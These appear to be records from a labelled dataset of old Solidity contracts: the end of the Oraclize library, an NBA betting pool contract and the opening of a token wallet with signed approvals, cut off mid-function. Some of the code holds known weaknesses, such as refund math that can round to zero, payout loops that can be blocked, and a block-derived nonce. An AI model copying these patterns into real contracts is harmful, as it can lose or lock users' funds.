function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract nbagame is usingOraclize {
address owner;
address public creator = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
address public currentOwner = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A;
uint8 public constant NUM_TEAMS = 2;
string[NUM_TEAMS] public TEAM_NAMES = ["Milwaukee Bucks", "Detroit Pistons"];
enum TeamType { MBucks, DPistons, None }
TeamType public winningTeam = TeamType.None;
uint public constant TOTAL_POOL_COMMISSION = 10;
uint public constant EARLY_BET_INCENTIVE_COMMISSION = 4;
uint public constant OWNER_POOL_COMMISSION = 6;
uint public constant MINIMUM_BET = 0.01 ether;
uint public constant BETTING_OPENS = 1519599600;
uint public constant BETTING_CLOSES = 1519862700;
uint public constant PAYOUT_ATTEMPT_INTERVAL = 64800;
uint public constant BET_RELEASE_DATE = 1520035500;
uint public constant PAYOUT_DATE = BETTING_CLOSES + PAYOUT_ATTEMPT_INTERVAL;
uint public constant STAGE_ONE_BET_LIMIT = 0.2 ether;
bool public payoutCompleted;
bool public stage2NotReached = true;
struct Bettor {
uint[NUM_TEAMS] amountsBet;
uint[NUM_TEAMS] amountsBetStage1;
uint[NUM_TEAMS] amountsBetStage2;
}
mapping(address => Bettor) bettorInfo;
address[] bettors;
uint[NUM_TEAMS] public totalAmountsBet;
uint[NUM_TEAMS] public totalAmountsBetStage1;
uint[NUM_TEAMS] public totalAmountsBetStage2;
uint public numberOfBets;
uint public totalBetAmount;
uint public contractPrice = 0.05 ether;
uint private firstStepLimit = 0.1 ether;
uint private secondStepLimit = 0.5 ether;
event BetMade();
event ContractPurchased();
modifier canPerformPayout() {
if (winningTeam != TeamType.None && !payoutCompleted && now > BETTING_CLOSES) _;
}
modifier bettingIsClosed() {
if (now > BETTING_CLOSES) _;
}
modifier onlyCreatorLevel() {
require(
creator == msg.sender
);
_;
}
function nbagame() public {
owner = msg.sender;
pingOracle(PAYOUT_DATE - now);
}
function triggerRelease() public onlyCreatorLevel {
require(now > BET_RELEASE_DATE);
releaseBets();
}
function _addressNotNull(address _adr) private pure returns (bool) {
return _adr != address(0);
}
function pingOracle(uint pingDelay) private {
oraclize_query(pingDelay, "WolframAlpha", "Bucks vs Pistons February 28, 2018 Winner");
}
function __callback(bytes32 queryId, string result, bytes proof) public {
require(payoutCompleted == false);
require(msg.sender == oraclize_cbAddress());
if (keccak256(TEAM_NAMES[0]) == keccak256(result)) {
winningTeam = TeamType(0);
}
else if (keccak256(TEAM_NAMES[1]) == keccak256(result)) {
winningTeam = TeamType(1);
}
if (winningTeam == TeamType.None) {
if (now >= BET_RELEASE_DATE)
return releaseBets();
return pingOracle(PAYOUT_ATTEMPT_INTERVAL);
}
performPayout();
}
function getUserBets() public constant returns(uint[NUM_TEAMS]) {
return bettorInfo[msg.sender].amountsBet;
}
function releaseBets() private {
uint storedBalance = this.balance;
for (uint k = 0; k < bettors.length; k++) {
uint totalBet = SafeMath.add(bettorInfo[bettors[k]].amountsBet[0], bettorInfo[bettors[k]].amountsBet[1]);
bettors[k].transfer(SafeMath.mul(totalBet, SafeMath.div(storedBalance, totalBetAmount)));
}
}
function canBet() public constant returns(bool) {
return (now >= BETTING_OPENS && now < BETTING_CLOSES);
}
function triggerPayout() public onlyCreatorLevel {
pingOracle(5);
}
function bet(uint teamIdx) public payable {
require(canBet() == true);
require(TeamType(teamIdx) == TeamType.MBucks || TeamType(teamIdx) == TeamType.DPistons);
require(msg.value >= MINIMUM_BET);
if (bettorInfo[msg.sender].amountsBet[0] == 0 && bettorInfo[msg.sender].amountsBet[1] == 0)
bettors.push(msg.sender);
if (totalAmountsBet[teamIdx] >= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += msg.value;
totalAmountsBetStage2[teamIdx] += msg.value;
}
if (totalAmountsBet[teamIdx] < STAGE_ONE_BET_LIMIT) {
if (SafeMath.add(totalAmountsBet[teamIdx], msg.value) <= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += msg.value;
totalAmountsBetStage1[teamIdx] += msg.value;
} else {
uint amountLeft = SafeMath.sub(STAGE_ONE_BET_LIMIT, totalAmountsBet[teamIdx]);
uint amountExcess = SafeMath.sub(msg.value, amountLeft);
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += amountLeft;
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += amountExcess;
totalAmountsBetStage1[teamIdx] = STAGE_ONE_BET_LIMIT;
totalAmountsBetStage2[teamIdx] += amountExcess;
}
}
bettorInfo[msg.sender].amountsBet[teamIdx] += msg.value;
numberOfBets++;
totalBetAmount += msg.value;
totalAmountsBet[teamIdx] += msg.value;
BetMade();
}
function performPayout() private canPerformPayout {
uint losingChunk = SafeMath.sub(this.balance, totalAmountsBet[uint(winningTeam)]);
uint currentOwnerPayoutCommission = uint256(SafeMath.div(SafeMath.mul(OWNER_POOL_COMMISSION, losingChunk), 100));
uint eachStageCommission = uint256(SafeMath.div(SafeMath.mul(1, losingChunk), 100));
for (uint k = 0; k < bettors.length; k++) {
uint betOnWinner = bettorInfo[bettors[k]].amountsBet[uint(winningTeam)];
uint payout = betOnWinner + ((betOnWinner * (losingChunk - currentOwnerPayoutCommission - (4 * eachStageCommission))) / totalAmountsBet[uint(winningTeam)]);
if (totalAmountsBetStage1[0] > 0) {
uint stageOneCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage1[0] * eachStageCommission) / totalAmountsBetStage1[0]);
payout += stageOneCommissionPayoutTeam0;
}
if (totalAmountsBetStage1[1] > 0) {
uint stageOneCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage1[1] * eachStageCommission) / totalAmountsBetStage1[1]);
payout += stageOneCommissionPayoutTeam1;
}
if (totalAmountsBetStage2[0] > 0) {
uint stageTwoCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage2[0] * eachStageCommission) / totalAmountsBetStage2[0]);
payout += stageTwoCommissionPayoutTeam0;
}
if (totalAmountsBetStage2[1] > 0) {
uint stageTwoCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage2[1] * eachStageCommission) / totalAmountsBetStage2[1]);
payout += stageTwoCommissionPayoutTeam1;
}
if (payout > 0)
bettors[k].transfer(payout);
}
currentOwner.transfer(currentOwnerPayoutCommission);
if (this.balance > 0) {
creator.transfer(this.balance);
stage2NotReached = true;
} else {
stage2NotReached = false;
}
payoutCompleted = true;
}
function buyContract() public payable {
address oldOwner = currentOwner;
address newOwner = msg.sender;
require(newOwner != oldOwner);
require(_addressNotNull(newOwner));
require(msg.value >= contractPrice);
require(now < BETTING_CLOSES);
uint payment = uint(SafeMath.div(SafeMath.mul(contractPrice, 94), 100));
uint purchaseExcess = uint(SafeMath.sub(msg.value, contractPrice));
uint creatorCommissionValue = uint(SafeMath.sub(contractPrice, payment));
if (contractPrice < firstStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 132), 94);
} else if (contractPrice < secondStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 122), 94);
} else {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 113), 94);
}
currentOwner = newOwner;
oldOwner.transfer(payment);
creator.transfer(creatorCommissionValue);
ContractPurchased();
msg.sender.transfer(purchaseExcess);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 162 |
pragma solidity ^0.4.18;
library ECRecovery {
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract LavaWallet is Owned {
using SafeMath for uint;
mapping(address => mapping (address => uint256)) balances;
mapping(address => mapping (address => mapping (address => uint256))) allowed;
mapping(address => uint256) depositedTokens;
mapping(bytes32 => uint256) burnedSignatures;
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event Transfer(address indexed from, address indexed to,address token, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender,address token, uint tokens);
function LavaWallet() public {
}
function() public payable {
revert();
}
function depositTokens(address from, address token, uint256 tokens ) public returns (bool success)
{
if(!ERC20Interface(token).transferFrom(from, this, tokens)) revert();
balances[token][from] = balances[token][from].add(tokens);
depositedTokens[token] = depositedTokens[token].add(tokens);
Deposit(token, from, tokens, balances[token][from]);
return true;
}
function withdrawTokens(address token, uint256 tokens) public returns (bool success){
balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
depositedTokens[token] = depositedTokens[token].sub(tokens);
if(!ERC20Interface(token).transfer(msg.sender, tokens)) revert();
Withdraw(token, msg.sender, tokens, balances[token][msg.sender]);
return true;
}
function withdrawTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
depositedTokens[token] = depositedTokens[token].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
if(!ERC20Interface(token).transfer(to, tokens)) revert();
Withdraw(token, from, tokens, balances[token][from]);
return true;
}
function balanceOf(address token,address user) public constant returns (uint) {
return balances[token][user];
}
function approveTokens(address spender, address token, uint tokens) public returns (bool success) {
allowed[token][msg.sender][spender] = tokens;
Approval(msg.sender, token, spender, tokens);
return true;
}
function transferTokens(address to, address token, uint tokens) public returns (bool success) {
balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(msg.sender, token, to, tokens);
return true;
}
function transferTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(token, from, to, tokens);
return true;
}
function getLavaTypedDataHash(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce) public constant returns (bytes32)
{
bytes32 hardcodedSchemaHash = 0x8fd4f9177556bbc74d0710c8bdda543afd18cc84d92d64b5620d5f1881dceb37;
bytes32 typedDataHash = sha3(
hardcodedSchemaHash,
sha3(methodname,from,to,this,token,tokens,relayerReward,expires,nonce)
);
return typedDataHash;
}
function tokenApprovalWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, bytes32 sigHash, bytes signature) internal returns (bool success)
{
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
if(from != recoveredSignatureSigner) revert();
if(block.number > expires) revert();
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1;
if(burnedSignature != 0x0 ) revert();
allowed[token][from][msg.sender] = relayerReward;
Approval(from, token, msg.sender, relayerReward);
if(!transferTokensFrom(from, msg.sender, token, relayerReward)) revert();
allowed[token][from][to] = tokens;
Approval(from, token, to, tokens);
return true;
}
function approveTokensWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash('approve',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
return true;
}
function transferTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash('transfer',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
if(!transferTokensFrom( from, to, token, tokens)) revert();
return true;
}
function withdrawTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash('withdraw',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
if(!withdrawTokensFrom( from, to, token, tokens)) revert();
return true;
}
function tokenAllowance(address token, address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[token][tokenOwner][spender];
}
function burnSignature(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce);
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
if(recoveredSignatureSigner != from) revert();
if(from != msg.sender) revert();
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2;
if(burnedSignature != 0x0 ) revert();
return true;
}
function signatureBurnStatus(bytes32 digest) public view returns (uint)
{
